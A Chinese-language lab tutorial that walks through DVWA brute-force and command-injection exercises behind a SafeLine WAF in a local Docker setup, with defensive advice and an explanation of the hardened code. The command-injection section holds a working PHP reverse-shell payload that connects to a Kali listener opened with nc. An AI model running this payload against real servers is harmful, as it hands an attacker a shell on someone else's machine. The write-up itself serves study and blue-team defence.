0x01 前言
本次环境以DVWA靶场(不太安全的网站)及CTF题目(夺旗赛)先对OWASP TOP10漏洞原理通俗概述,接着对基础代码解析,然后执行的命令落地到本地复现,前端进行复现后分析流量包,植入CTF题目,最后演示WAF流量经过,以及最高级别代码防护分析包括最终流程图,分析较为详细,对于初学者,网安爱好者及蓝队初级、运维等比较友好,在正常面试安全岗位时,也可能会问到理论问题,安全设备的了解,链路流量的走向,包括HVV蓝队初级最低也会问到常见攻击手法的理解和防护!
注:流程示意图以我本地网络层-应用层传输为例、并非现实通用
结尾有流量包下载及全过程详细流程图(本地模拟)
Brute Force (爆破)
Command Injection (命令注入)
CSRF (跨站请求伪造)
File Inclusion (文件包含)
File upload (文件上传)
SQL Injection (SQL注入)
SQL Injection (Blind) (SQL盲注)
XSS (反射型XSS)
CROSS XSS (存储型XSS)
如果您看完文章觉得不错,麻烦点个关注点个赞分享一下、谢谢!
* 本次学习环境为自行搭建,文章仅用于参考学习,请勿非法操作、后果自负
0x02 环境准备
DVWA搭建-docker
docker search dvwa # 我选的第一个
docker pull sagikazarmark/dvwa #下载到本地
docker run -it --restart -p 8001:80 sagikazarmark/dvwa #将此镜像启动容器并开机自启
WAF搭建-docker
https://waf-ce.chaitin.cn/docs/guide/install #长亭雷池waf安装方法
各网卡及IP如下
192.168.150.1 #客户端IP
192.168.150.31:9443 #长亭WAF WEB管理页面
192.168.150.31:8001 #DVWA实际地址
192.168.150.31:90 #靶场映射WAF反向代理端口
192.168.150.2 # kali作为跳板机使用
内网:
172.17.0.1 #docker0网卡 docker虚拟网卡
172.17.0.2 #DVWA在docker内IP
172.22.222.1 #safeline-ce网卡 雷池waf虚拟网卡
CTF(夺旗赛)
通俗来说就是以实际环境中的事件或自发性自编环境,以题目的方式呈现给比赛者去做题。当比赛者通过漏洞或题目要求拿到flag(旗帜)的时候,就算成功,也就是这块的漏洞利用成功
0x03 思路解析
Brute Force(野蛮的力量)
也称为爆破,拥有账号密码对相应的登录接口进行爆破、或根据网站规则及拿到的一些信息进行"撞库"
危害:爆破成功后任意操作管理员或用户账号,如发送信息,后续渗透,获取敏感信息等
于是,我拿着他的SQL语句替换了user及pass然后进行查询
SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';
select * from users where user='admin' and password='21232f297a57a5a743894a0e4a801fc3'; # 错误的密码
select * from `users` where user='admin' and password='5f4dcc3b5aa765d61d8327deb882cf99'; # 正确的密码
前期代码解读完成,然后我们实操,直接burp抓包导入字典爆破
可以看到,当用户名为admin、密码为password的时候与其他包不一样,经过验证,账号密码就是这个,我们此时看抓取的流量包
可以看到,网站并没有进行相应的拦截
如何防守?
我们可以在WEB页面做一些限制
比如token,比如对请求IP限制,当然IP可以伪造
防止SQL注入,对传入数据进行处理
再或者就是账号密码错误3次后冻结多少分钟,前端输入密码后进行非对称加密等
安全设备就是对频率做限制,匹配字典规则满足后进行自动封禁
接着我们看waf,我给waf定义的规则是当10秒内请求次数高达100次的时候我们进行封禁IP10分钟,当然这个可以调
当我们发送请求包到200多的时候,包长度变了,不是密码错误包长也不是密码正确包长
这时候可以看到,WAF人机判断你的IP可能正在进行爆破或CC攻击,加载出验证码
我们这时候看后台数据,能看到客户端IP做的操作
我们拆解一下最高级别做了哪些防护
第3-5行做了一个token防止CSRF攻击
第8-16行对用户的输入做了处理,stripslashes函数去除输入的反斜杠等符号防止SQL注入,然后进行MD5加密
第19-27行先定义此用户的最大失败次数及锁定时间,然后SQL查询此用户是否已超过失败次数及是否超过锁定时间
第45-50行验证账号密码是否正确,":user"可以防止SQL注入,limit1只返回一条数据
第60行登录成功则返回该用户的头像并welcome
第64行后如果登录失败则提醒登录失败,然后加载2-4秒,防止爆破
接着就是对登录失败次数+1,然后对最后登录失败时间更新
生成一个新的token令牌,防止CSRF
Command Injection (命令注入)
命令注入通俗来讲就是开发者对于某些功能需要调用系统命令去执行一些操作,或者是某些代码块因为逻辑上未知造成命令执行、再或者前端某些头部字段可能存在的注入点,而没有对客户端传入的数据进行过滤或固定,造成攻击者可以进行自定义传入命令或绕过传入命令的行为
危害:攻击者拥有了命令执行后就相当于获得了服务器操作权限,攻击者可以根据漏点进行反弹shell以获取服务器shell,然后执行提权,植入后门或者其他危害性操作行为
按照正常业务引导,我们正常输入地址,回显出正常结果
而已知Linux分隔符,我们可以带入其他命令,看下图
可以看到我们使用分号进行分隔,执行了whoami命令,看到了www-data用户,将实际命令带入到Windows和Linux中看一下
接下来我们在网页输入以下命令在前端执行,获取服务器shell
kali: nc -lnvp 8888
网页: 127.0.0.1;php -r '$sock=fsockopen("192.168.150.2",8888);exec("sh <&3 >&3 2>&3");'
在抓取的流量包内输入以下过滤条件看一下流量走向
ip.addr == 192.168.150.2 || ip.addr == 192.168.150.1 && tcp.port != 22
接下来我们看一道CTF题目
如何防守?
可以进行关键字的过滤,对大小写的过滤,对符号的过滤,对编码的过滤
后端把此功能固定,前端只能输入相应的格式
在安全设备方面则从流量检测命令执行的特征
比如正常的win和Linux的命令,对于编码的检测